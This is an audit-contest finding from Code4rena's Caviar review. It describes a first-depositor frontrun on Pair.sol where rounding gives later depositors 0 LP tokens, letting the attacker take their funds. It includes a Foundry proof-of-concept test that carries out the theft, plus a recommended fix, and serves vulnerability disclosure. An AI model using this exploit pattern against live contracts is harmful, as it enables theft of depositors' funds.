Platform: Code4rena
Start Date: 12/12/2022
Pot Size: $36,500 USDC
Total HM: 8
Participants: 103
Period: 7 days
Judge: berndartmueller
Id: 193
League: ETH
Rank: 102/103
Findings: 1
Award: $6.99
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: minhquanym
Also found by: 0x52, 0xDecorativePineapple, Apocalypto, BAHOZ, ElKu, Franfran, HE1M, Jeiwan, KingNFT, Koolex, SamGMK, Tointer, Tricko, UNCHAIN, __141345__, ak1, aviggiano, bytehat, carrotsmuggler, cccz, chaduke, cozzetti, dipp, eyexploit, fs0c, haku, hansfriese, hihen, immeas, izhelyazkov, koxuan, ladboy233, lumoswiz, rajatbeladiya, rjs, rvierdiiev, seyni, supernova, unforgiven, yixxas
6.9881 USDC - $6.99
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L63 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L77 https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L426
All users funds may be stolen by the first depositor.
create
function in Caviar.sol
.ethPair.add{value: 1 ether}(1 ether, 100e18, 0);
add
in Pair.sol
- he gets 1 LP tokens and the total supply of the pool increases to 1, because the total supply was 0 before and we enter in this part of addQuote
:
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L417} else { // if there is no liquidity then init return Math.sqrt(baseTokenAmount * fractionalTokenAmount); }
buy
: ethPair.buy{value: 1.01 ether}(101e18, 1.01 ether);
add
with 1 ether and 100e18 fractional tokens - they get sent to the contract, but the user gets 0 LP tokens, because of how the addQuote
function works:if (lpTokenSupply > 0) { // calculate amount of lp tokens as a fraction of existing reserves uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves(); uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves(); return Math.min(baseTokenShare, fractionalTokenShare); }
Here,
baseTokenShare = (1 ether * 1) / 1.01 ether = 0
, and
fractionalTokenShare = (100e18 * 1) / 101e18 = 0
, so
the return value of addQuote
is 0, minting 0 shares to the user. Note that this function passes successfully and the user can't withdraw his funds from this point on.
The MEV attacker sends a remove
transaction, pulling out his ETH and fractional tokens, effectively stealing users' deposit.
Note that this attack can be repeated for all subsequent depositors.
PoC:
/// @dev initial mint steal frontrun transaction test function testInitMintFrontrunSteal() public { // random addresses // user0 is the attacker // user1 is the victim address user0 = 0x9aF2E2B7e57c1CD7C68C5C3796d8ea67e0018dB7; address user1 = 0x2f66c75A001Ba71ccb135934F48d844b46454543; uint baseAmt = 1; uint fractionalAmt = 1; uint256 minLpTokenAmount = Math.sqrt(baseAmt * fractionalAmt); // send eth pair tokens to ethPair contract as reserves // this can be done by calling wrap() and sending fractional shares to contract deal(address(ethPair), address(ethPair), 1000e18, true); // send eth pair tokens to user - this is the attacker address // again, this can be done by calling wrap() deal(address(ethPair), user0, 1000e18, true); // mint 1 base token + 1 fractional token vm.startPrank(user0); uint256 lpTokenAmount = ethPair.add{value: baseAmt}(baseAmt, fractionalAmt, minLpTokenAmount); assertEq(lpTokenAmount, 1); // send 1 eth + 100 fractional tokens to the contract by calling `buy` and `transfer` ethPair.buy{value: 1.01 ether}(101e18, 1.01 ether); ethPair.transfer(address(ethPair), 100e18); vm.stopPrank(); // // send some ethPair tokens to user1 // again, this can be done by calling wrap() deal(address(ethPair), user1, 100e18, true); uint lpBalanceBefore = ethPairLpToken.balanceOf(user1); // add liquidity from standard user - 1 ether and 100e18 fractional tokens vm.prank(user1); ethPair.add{value: 1 ether}(1 ether, 100e18, 0); uint lpBalanceAfter = ethPairLpToken.balanceOf(user1); // we can see the second depositor gains 0 lp token shares for his 1 ETH and 100 fractional tokens console.log('LP balance gained by sending 1 eth and 100e18 fractional tokens: %s', lpBalanceAfter - lpBalanceBefore); // from this point on the attacker can withdraw // attacker withdraws the tokens vm.startPrank(user0); uint ethBalBefore = user0.balance; ethPair.sell(900e18, 0); uint ethBalAfter = user0.balance; // we can see malicious attacker gets balance by withdrawing assertGt(ethBalAfter - ethBalBefore, 0); }
To run the PoC, just copy and paste the test in Add.t.sol
, and run forge test --match testInitMintFrontrunSteal -vv
Forge, VS Code
require(lpTokenShares != 0, "LP tokens are 0")
check to ensure that users do not mint 0 LP shares.#0 - c4-judge
2022-12-20T14:34:53Z
berndartmueller marked the issue as duplicate of #442
#1 - c4-judge
2023-01-10T09:13:27Z
berndartmueller marked the issue as satisfactory